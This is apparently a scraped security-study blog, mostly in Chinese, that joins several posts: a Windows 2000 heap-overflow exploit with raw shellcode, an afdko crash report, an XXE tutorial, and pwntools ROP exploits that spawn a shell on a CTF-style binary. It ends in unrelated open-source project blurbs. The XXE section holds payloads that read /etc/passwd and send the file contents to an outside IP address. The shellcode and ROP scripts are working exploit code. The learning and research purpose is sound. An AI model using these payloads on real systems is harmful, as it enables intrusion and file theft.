"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\F8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00" # shellcode写入地址,需要根据调试得出
"\x30\xff\x12\x00" # SEH handler地址
其中SEH handler地址,我们查看到的是0x12ff2c为什么会变成30了呢?这里先用30尝试一下,具体原因下面再解释
获取堆的地址,并将数据复制进去
尝试执行
程序出错了,出现一个Access violation
错误。为什么会出现这个问题呢?这个跟HeapAlloc
函数的具体实现有关,这个有机会详细再分析一下。
现在来看看导致DWORD SHOOT
的原因。
主要就是这个操作
node->f->b = node->b
node->b->f = node->f
根据代码,首先分配一个堆h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
,之后在此基础上又分配一个堆h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
,
分配第二个堆的过程就是从创建的那个Freelist[0]链接的块上再分配一块
理论性太强可能不太好理解,实际操作一下看看,由于我的win2000虚拟机符号数据总是无法使用,所以使用xp_sp3实验一下(因为shellcode是针对2000的,所以不会弹窗,但是能够帮助我们理解)
第一步,创建一个堆,并连接到Freelist[0]上
查看是否连接到了Freelist[0]上
成功连接到了Freelist[0]上,长度0x1000,分配第一个堆空间
第一个圈出来的是堆分配的空间,第二个圈出来的是剩下的堆,剩下的堆还是连接在Freelist[0]上
再回到win2000,看看复制后的情况
第二次分配后,内存空间状况
shellcode代码中的第4-7字节由\x90\x90\x90\x90
,变为了\x00\x12\xff\x30
,回到堆分配时链表的操作上来,第二次分配时,node就是那一大片剩余的空白空间。会进行这个操作
node->f->b = node->b ===> node->f(00310688)->b(0031068c) = node->b(0012ff30)
node->b->f = node->f ===> node->b(0012ff30)->f(0012ff2c) = node->f(00310688)
这里终于弄清了为什么字节会发生变化,并且DORD SHOOT的地址是0012ff30而不是0012ff2c了。
现在这里还有一个疑问,shellcode的4-7字节的变化会对shellcode的执行产生影响吗?我们通过在shellcode的入口地址设断点来判断。
改变的是eax,ebx两个寄存器,再来看看shellcode有没有直接利用这两个寄存器
直接通过shellcode的汇编代码发现,ebx,eax的初始化值都不会对代码的运行产生影响。为了不必要的麻烦,我们也可以利用jmp 0x4
跳过被改变的代码,shellcode可以这么写
"\x90\x90\xeb\x04\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00"
"\x30\xff\x12\x00"
其中\xeb\x04
表示汇编代码jmp 0x4
,看看运行
跳过了那段代码,并成功弹窗。
分析堆溢出,真心累啊。。。
fuzz出来的afdko漏洞,目前已经被修复
Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.
I found this bug with google/honggfuzz
.
In lates commit 2e8fc3d6b218cb79a0b159ba663a2ad7622fb73c
use clang compile with debug option
compile tx
in c/tx/build/linux/gcc/debug/
make clean && CC=clang make
then use tx
to parse a specific otf file
tx -svg poc.otf
tx
segment fault
./tx -svg poc.otf
./tx[1] 28077 segmentation fault (core dumped) ./tx -svg poc.otf
I use pwndbg
to debug
? 0x7ffff778f746 <strlen+38> movdqu xmm4, xmmword ptr [rax]
0x7ffff778f74a <strlen+42> pcmpeqb xmm4, xmm0
0x7ffff778f74e <strlen+46> pmovmskb edx, xmm4
0x7ffff778f752 <strlen+50> test edx, edx
0x7ffff778f754 <strlen+52> je strlen+58 <0x7ffff778f75a>
↓
0x7ffff778f75a <strlen+58> and rax, 0xfffffffffffffff0
0x7ffff778f75e <strlen+62> pcmpeqb xmm1, xmmword ptr [rax + 0x10]
0x7ffff778f763 <strlen+67> pcmpeqb xmm2, xmmword ptr [rax + 0x20]
0x7ffff778f768 <strlen+72> pcmpeqb xmm3, xmmword ptr [rax + 0x30]
0x7ffff778f76d <strlen+77> pmovmskb edx, xmm1
0x7ffff778f771 <strlen+81> pmovmskb r8d, xmm2
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc58 ?? 0x441a89 (writeXMLStr+25) ?? mov qword ptr [rbp - 0x18], rax
01:0008│ 0x7fffffffdc60 ?? 0x18
02:0010│ 0x7fffffffdc68 ?? 0x6f37f0 ?? 0x1
03:0018│ 0x7fffffffdc70 ?? 0x7fffffffdca0 ?? 0x7fffffffdef0 ?? 0x7fffffffdf10 ?? 0x7fffffffdf70 ?? ...
04:0020│ 0x7fffffffdc78 ?? 0x441a04 (writeStr+52) ?? add rsp, 0x20
05:0028│ 0x7fffffffdc80 ?? 0x0
06:0030│ 0x7fffffffdc88 ?? 0x6f37f0 ?? 0x1
07:0038│ 0x7fffffffdc90 ?? 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
? f 0 7ffff778f746 strlen+38
f 1 441a89 writeXMLStr+25
f 2 441428 svwEndFont+984
f 3 478914 svg_EndFont+36
f 4 46ec3b svrReadFont+443
f 5 4058fb doFile+939
f 6 404f3e doSingleFileSet+46
f 7 402d89 parseArgs+425
f 8 401c27 main+455
f 9 7ffff7724830 __libc_start_main+240
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x0)
pwndbg> bt
#0 strlen () at ../sysdeps/x86_64/strlen.S:106
#1 0x0000000000441a89 in writeXMLStr (h=0x6f37f0, s=0x0) at ../../../../../source/svgwrite/svgwrite.c:215
#2 0x0000000000441428 in svwEndFont (h=0x6f37f0, top=0x6f8e00) at ../../../../../source/svgwrite/svgwrite.c:450
#3 0x0000000000478914 in svg_EndFont ()
#4 0x000000000046ec3b in svrReadFont ()
#5 0x00000000004058fb in doFile (h=0x6ec010, srcname=0x7fffffffe67f "poc.otf") at ../../../../source/tx.c:435
#6 0x0000000000404f3e in doSingleFileSet (h=0x6ec010, srcname=0x7fffffffe67f "poc.otf") at ../../../../source/tx.c:488
#7 0x0000000000402d89 in parseArgs (h=0x6ec010, argc=2, argv=0x7fffffffe3b0) at ../../../../source/tx.c:558
#8 0x0000000000401c27 in main (argc=2, argv=0x7fffffffe3b0) at ../../../../source/tx.c:1587
#9 0x00007ffff7724830 in __libc_start_main (main=0x401a60 <main>, argc=3, argv=0x7fffffffe3a8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe398) at ../csu/libc-start.c:291
#10 0x0000000000401989 in _start ()
then I do some analysis, I found when tx
parse the specific otf
file with no FontName
, tx
will occur segment fault.
To show the bug details, set breakpoint at svgwrite.c:383
in function svwEndFont
/* Finish reading font. */
int svwEndFont(svwCtx h, abfTopDict *top) {
size_t cntTmp = 0;
size_t cntRead = 0;
size_t cntWrite = 0;
char *pBuf = NULL;
/* Check for errors when accumulating glyphs */
if (h->err.code != 0)
return h->err.code;
h->top = top; // no check!
/* Set error handler */
DURING_EX(h->err.env)
...
then check some variable
pwndbg> p top
$1 = (abfTopDict *) 0x6f8e00
pwndbg> p *top
$2 = {
version = {
ptr = 0x0,
impl = -1
},
Notice = {
ptr = 0x0,
impl = -1
},
Copyright = {
ptr = 0x0,
impl = -1
},
FullName = {
ptr = 0x0,
impl = -1
},
FamilyName = {
ptr = 0x0,
impl = -1
},
Weight = {
ptr = 0x0,
impl = -1
},
isFixedPitch = 0,
ItalicAngle = 0,
UnderlinePosition = -100,
UnderlineThickness = 50,
UniqueID = -1,
FontBBox = {0, 0, 0, 0},
StrokeWidth = 0,
XUID = {
cnt = 0,
array = {0 <repeats 16 times>}
},
PostScript = {
ptr = 0x0,
impl = -1
},
BaseFontName = {
ptr = 0x0,
impl = -1
},
BaseFontBlend = {
cnt = 0,
array = {0 <repeats 15 times>}
},
FSType = -1,
OrigFontType = -1,
WasEmbedded = 0,
SynBaseFontName = {
ptr = 0x0,
impl = -1
},
cid = {
FontMatrix = {
cnt = 0,
array = {0, 0, 0, 0, 0, 0}
},
CIDFontName = {
ptr = 0x0,
impl = -1
},
Registry = {
ptr = 0x0,
impl = -1
},
Ordering = {
ptr = 0x0,
impl = -1
},
Supplement = -1,
CIDFontVersion = 0,
CIDFontRevision = 0,
CIDCount = 8720,
UIDBase = -1
},
FDArray = {
cnt = 1,
array = 0x6f90a8
},
sup = {
flags = 0,
srcFontType = -1,
filename = 0x0,
UnitsPerEm = 1000,
nGlyphs = 0
},
maxstack = 0,
varStore = 0x0
}
you can see, otf file has no FontName
BaseFontName = {
ptr = 0x0, // null value
impl = -1
}
then check top->FDArray.array
pwndbg> p *(top->FDArray.array)
$5 = {
FontName = {
ptr = 0x0, // null value
impl = -1
},
back into souce code, in svgwrite.c:393
h->top = top; // no check!
in svgwrite.c:450
writeXMLStr(h, h->top->FDArray.array[0].FontName.ptr);
there is no code to check whether h->top->FDArray.array[0].FontName.ptr
is available or not.
in writeXMLStr
static void writeXMLStr(svwCtx h, const char *s) {
/* 64-bit warning fixed by cast here */
long len = (long)strlen(s); // segment fault!
int i;
char buf[9];
unsigned char code;
....
it visit s
, then segment fault.
The bug exsits, because tx
doesn't check FontName
pointer.
All data is in heap. If someone use a specific otf
file, it may cause some security issues with OOB
If necessary, I can send you a proof of concept for this bug.
内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd>
]>
<root>&b;</root>
dtd
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://example.com/evil.dtd">
%d;
]>
<root>&b;</root>
其中evil.dtd
<!ENTITY b system "file:///etc/passwd">
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
<root>&b;</root>
其中evil.dtd
<!ENTITY b SYSTEM "file:///etc/passwd">
有无百分号%
决定了是否引用外部的dtd
文件,引用了外部实体,外部的实体可以在POST
请求中调用,也可以在外部实体文件中调用,测试中在POST
请求中可以实现调用。调用实体一般是%entity;
使用php测试,其中测试代码
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://j7wepb.ceye.io/" >]>
<root>
<name>&xxe;</name>
</root>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
在测试中,如果不存在回显的情况,首先需要使用确定是否存在远程实体解析,如果存在,那么可以将数据远程到设置的主机上显示
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe SYSTEM "http://116.211.25.21:5000/evil.dtd">
%xxe;
]>
其中evil.dtd
<!ENTITY % send SYSTEM "<!ENTITY  extfile SYSTEM 'ftp://116.211.25.21:2121/?p=%file;'>">
%send;
%extfile;
在测试中,还有一种情况,可能测试成功不回显,但是在测试造成错误时,会把错误信息打印出来
<b>Warning</b>: simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://45.32.138.6:8000/?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/ga
其中xml post
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>
可以形成的xxe
<xml version="1.0"?>]>&xxe;
soap服务
上传XML配置文件等
有一则博客园上传案例
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///C://WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS">
]]]>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title>博客园-阔爱的贝贝</title>
<link>http://www.cnblogs.com/kuoaidebb/</link>
<description>一枚想当黑客的程序媛</description>
<language>zh-cn</language>
<lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate>
<pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate>
<ttl>60</ttl>
<item>
<title>test]]>&test;</title> <link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link>
<dc:creator>阔爱的贝贝</dc:creator>
<author>阔爱的贝贝</author>
<pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate> <guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid>
<description><![CDATA[<p>]]></p>]]></description>
</item>
</channel>
</rss>
实验整理中
根据蒸米大牛的文章,在没有目标libc.so
的情况下,如何进行ROP
攻击
exp
代码
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
level2 = ELF('./level2')
p = process('./level2')
write_plt = level2.symbols['write']
read_plt = level2.symbols['read']
bss_addr = 0x0804a020
pppr_addr = 0x80484f9
vul_addr = 0x804843b
def leak(address):
payload = 'a' * 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
d = DynELF(leak, elf=level2)
system_addr_leak = d.lookup('system', 'libc')
print 'system_addr by leak: ', hex(system_addr_leak)
system_addr = system_addr_leak
payload2 = 'a'*140 + p32(read_plt) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vul_addr) + p32(bss_addr)
print 'sending payload2'
p.send(payload2)
print 'sending /bin/sh'
p.send('/bin/sh\x00')
p.interactive()
我的环境会出现这种情况
之后进行了各种调试,各种测试payload
,但是都没有找到问题,在寻找解决方法时,在pwntools
的issue
里找到了,是这么说的
I finally figure out that the leak function overwrites some part of environ on the stack, which leads to failure of execve inside system...
But why the DynELF needs to write something onto stack to find addr of an exported symbol? According doc of pwntools, it compares the hash of, like 'printf' to the content of an addr. So only reading should work.
他出现的问题和gdb
调试出现的问题,与我一模一样。
说是leak
函数覆盖了栈,导致环境变量被更改,从而造成system
执行失败,那我们就来测试
首先看一下leak
函数
def leak(address):
payload = 'a' * 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
根据上面的输出,leak
函数会不断执行,会一直进行如下循环
write_plt<--------+
| |
| |
+-- >vulnerable_function
在这个循环的过程中,真的有可能会造成栈被破坏吗?
利用gdb.attach
进行附加测试,代码做一下更改
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
level2 = ELF('./level2')
p = process('./level2')
gdb.attach(p, 'b vulnerable_function')
write_plt = level2.symbols['write']
read_plt = level2.symbols['read']
bss_addr = 0x0804a020
pppr_addr = 0x80484f9
vul_addr = 0x804843b
...
执行,并观察栈的变化
成功附加
继续执行,注意查看栈
再次继续执行
比上一次增加了8,再次执行验证
同样也是增加了8,如果继续continue
,会发现结果也是一样的,每次执行leak
一次,esp
便会增加8个字节。
至于为什么会每次执行都会把栈增加8个字节,其实很好理解,正常汇编调用函数
call func => push eip; jmp addr
func:
...
leave
ret => pop eip
每次都会把当前指令压入栈,执行完函数弹出eip
,但是我们通过覆盖的方式直接调用
jmp addr
func:
leave
ret => pop eip
可以发现每个函数会相差4个字节,俩函数就是8个字节。理论上也解释通了。
现在需要每次执行leak
函数后把栈平衡了,需要做的就是sub esp, 8
,这个问题想了很久也没有找到办法。ROPGadget
搜索不到合适的指令。
最后发现网上依然有大牛解决了,详细看参考PWN——堆栈平衡的考虑
他的解决方案:
1. 跳转到main,造成esp每次减少0x10
2. 修正esp => esp+0x10
测试跳转到main
函数
def leak(address):
payload = 'a' * 140 + p32(write_plt) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
断在vulnerable_function
继续执行
一直执行下去也是一样,确实每次执行esp
都会减少0x10
个字节,所以需要寻找栈平衡,其实跟我们上面那个是一样的,pop|pop|pop|ret
那我们就再改写leak
,再次测试
pppr_addr = 0x80484f9
def leak(address):
payload = 'a' * 140 + p32(pppr_addr) + p32(0) + p32(0) + p32(0) + p32(write_plt) +p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
首先看一下栈是否平衡了
多次执行可以发现,目前栈已经平衡了,再看看能否getshell
成功执行
其中我的方法和purpleroc
大牛的解决方法不太一样,而且大牛应该有个地方误解或者没有想清楚,也有可能没有说清楚,他的payload
后面的一部分没用(但确实是可以使用的!)
payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
这样就可以了
payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(0) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
后面那个add_esp
直接会被略过
add_esp
的方案,我也使用了,也测试了,其中add_esp
处的指令是这样的
可以看到具体汇编指令,也会明白,执行完第一个add_esp
直接会将esp增加0x10个字节
上面的方法是从原理上比较原始的解决了我们遇到的问题,但是有没有更加优美的解决方案呢?
有!直接通过pwntools
的ROP
模块
win.py
from pwn import *
# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
804844b: 55 push ebp
804844c: 89 e5 mov ebp,esp
804844e: 81 ec 88 00 00 00 sub esp,0x88
8048454: 83 ec 04 sub esp,0x4
8048457: 68 00 01 00 00 push 0x100
804845c: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
8048462: 50 push eax
8048463: 6a 00 push 0x0
8048465: e8 a6 fe ff ff call 8048310 <read@plt>
804846a: 83 c4 10 add esp,0x10
804846d: c9 leave
804846e: c3 ret
0804846f <main>:
804846f: 8d 4c 24 04 lea ecx,[esp+0x4]
8048473: 83 e4 f0 and esp,0xfffffff0
8048476: ff 71 fc push DWORD PTR [ecx-0x4]
8048479: 55 push ebp
804847a: 89 e5 mov ebp,esp
804847c: 51 push ecx
804847d: 83 ec 04 sub esp,0x4
8048480: e8 c6 ff ff ff call 804844b <vulnerable_function>
8048485: 83 ec 04 sub esp,0x4
8048488: 6a 0d push 0xd
804848a: 68 30 85 04 08 push 0x8048530
804848f: 6a 01 push 0x1
8048491: e8 aa fe ff ff call 8048340 <write@plt>
8048496: 83 c4 10 add esp,0x10
8048499: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804849c: c9 leave
804849d: 8d 61 fc lea esp,[ecx-0x4]
80484a0: c3 ret
"""
# Load the ELF from disk so we can grab libc
elf = ELF('./level2')
libc = elf.libc
# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()
core = Core('core')
eip = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)
# Actually exploit the process this time
io = process('./level2')
# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
rop = ROP(elf)
rop.write(1, elf.got['read'], 4)
rop.main()
print rop.dump()
io.send(fit({
eip: str(rop)
}))
# Get the address of 'read'
read = io.unpack()
# Adjust libc against that offset
libc.address = read - libc.symbols['read']
# Get the address of system(), and build our new ROP stack.
system = libc.symbols['system']
binsh = libc.search('sh\x00').next()
rop = ROP(libc)
rop.system(binsh)
# Send the second ROP which gets us a shell.
io.send(fit({
eip: str(rop)
}))
io.interactive()
执行试试
可以发现其中利用ROP
构造的gadgets
会自动进行栈平衡,并且注意这句
libc.address = read - libc.symbols['read']
利用read
的got
地址减去read
的plt
地址就可以得到libc
的地址,这个暂时还没有理解是为什么,并且这种方法的优势是相当于只用一次leak
即可找到libc.address
,这样即使栈会被覆盖部分数据,正常情况下也不会对getshell
产生较大影响
利用vulnerable_function
测试
from pwn import *
# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
804844b: 55 push ebp
804844c: 89 e5 mov ebp,esp
804844e: 81 ec 88 00 00 00 sub esp,0x88
8048454: 83 ec 04 sub esp,0x4
8048457: 68 00 01 00 00 push 0x100
804845c: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
8048462: 50 push eax
8048463: 6a 00 push 0x0
8048465: e8 a6 fe ff ff call 8048310 <read@plt>
804846a: 83 c4 10 add esp,0x10
804846d: c9 leave
804846e: c3 ret
0804846f <main>:
804846f: 8d 4c 24 04 lea ecx,[esp+0x4]
8048473: 83 e4 f0 and esp,0xfffffff0
8048476: ff 71 fc push DWORD PTR [ecx-0x4]
8048479: 55 push ebp
804847a: 89 e5 mov ebp,esp
804847c: 51 push ecx
804847d: 83 ec 04 sub esp,0x4
8048480: e8 c6 ff ff ff call 804844b <vulnerable_function>
8048485: 83 ec 04 sub esp,0x4
8048488: 6a 0d push 0xd
804848a: 68 30 85 04 08 push 0x8048530
804848f: 6a 01 push 0x1
8048491: e8 aa fe ff ff call 8048340 <write@plt>
8048496: 83 c4 10 add esp,0x10
8048499: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804849c: c9 leave
804849d: 8d 61 fc lea esp,[ecx-0x4]
80484a0: c3 ret
"""
# Load the ELF from disk so we can grab libc
elf = ELF('./level2')
libc = elf.libc
# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()
core = Core('core')
eip = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)
# Actually exploit the process this time
io = process('./level2')
# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
rop = ROP(elf)
rop.write(1, elf.got['read'], 4)
rop.vulnerable_function()
print rop.dump()
io.send(fit({
eip: str(rop)
}))
# Get the address of 'read'
read = io.unpack()
# Adjust libc against that offset
libc.address = read - libc.symbols['read']
# Get the address of system(), and build our new ROP stack.
system = libc.symbols['system']
binsh = libc.search('sh\x00').next()
rop = ROP(libc)
rop.system(binsh)
# Send the second ROP which gets us a shell.
io.send(fit({
eip: str(rop)
}))
io.interactive()
多次测试,每次测试都可以成功getshell
通过rop
的leak
方式
win2.py
from pwn import *
# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
804844b: 55 push ebp
804844c: 89 e5 mov ebp,esp
804844e: 81 ec 88 00 00 00 sub esp,0x88
8048454: 83 ec 04 sub esp,0x4
8048457: 68 00 01 00 00 push 0x100
804845c: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
8048462: 50 push eax
8048463: 6a 00 push 0x0
8048465: e8 a6 fe ff ff call 8048310 <read@plt>
804846a: 83 c4 10 add esp,0x10
804846d: c9 leave
804846e: c3 ret
0804846f <main>:
804846f: 8d 4c 24 04 lea ecx,[esp+0x4]
8048473: 83 e4 f0 and esp,0xfffffff0
8048476: ff 71 fc push DWORD PTR [ecx-0x4]
8048479: 55 push ebp
804847a: 89 e5 mov ebp,esp
804847c: 51 push ecx
804847d: 83 ec 04 sub esp,0x4
8048480: e8 c6 ff ff ff call 804844b <vulnerable_function>
8048485: 83 ec 04 sub esp,0x4
8048488: 6a 0d push 0xd
804848a: 68 30 85 04 08 push 0x8048530
804848f: 6a 01 push 0x1
8048491: e8 aa fe ff ff call 8048340 <write@plt>
8048496: 83 c4 10 add esp,0x10
8048499: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804849c: c9 leave
804849d: 8d 61 fc lea esp,[ecx-0x4]
80484a0: c3 ret
"""
# Load the ELF from disk so we can grab libc
elf = ELF('./level2')
# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()
core = Core('core')
eip = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)
# Actually exploit the process this time
io = process('./level2')
# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
@MemLeak
def leak(address):
rop = ROP(elf)
rop.write(1, address, 4)
rop.main()
io.send(fit({
eip: str(rop)
}))
return io.recvn(4)
de = DynELF(elf=elf, leak=leak)
system = de.lookup('system', 'libc')
rop = ROP(elf)
bin_dash = '/bin/dash\x00'
rop.read(0, elf.bss(), len(bin_dash))
rop.call(system, [elf.bss()])
io.send(fit({
eip: str(rop)
}))
io.interactive()
但是这种方式不知因何原因只能执行一次命令,之后就退出了,想了各种方法也没有调试出原因
解决这个问题,花费了自己挺长时间的,从发现不能成功执行,到解决栈平衡的问题,想了各种各样的办法,最后收获也挺大
pwntools issue: pwnlib.dynelf.DynELF breaks something to make exploit broken
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.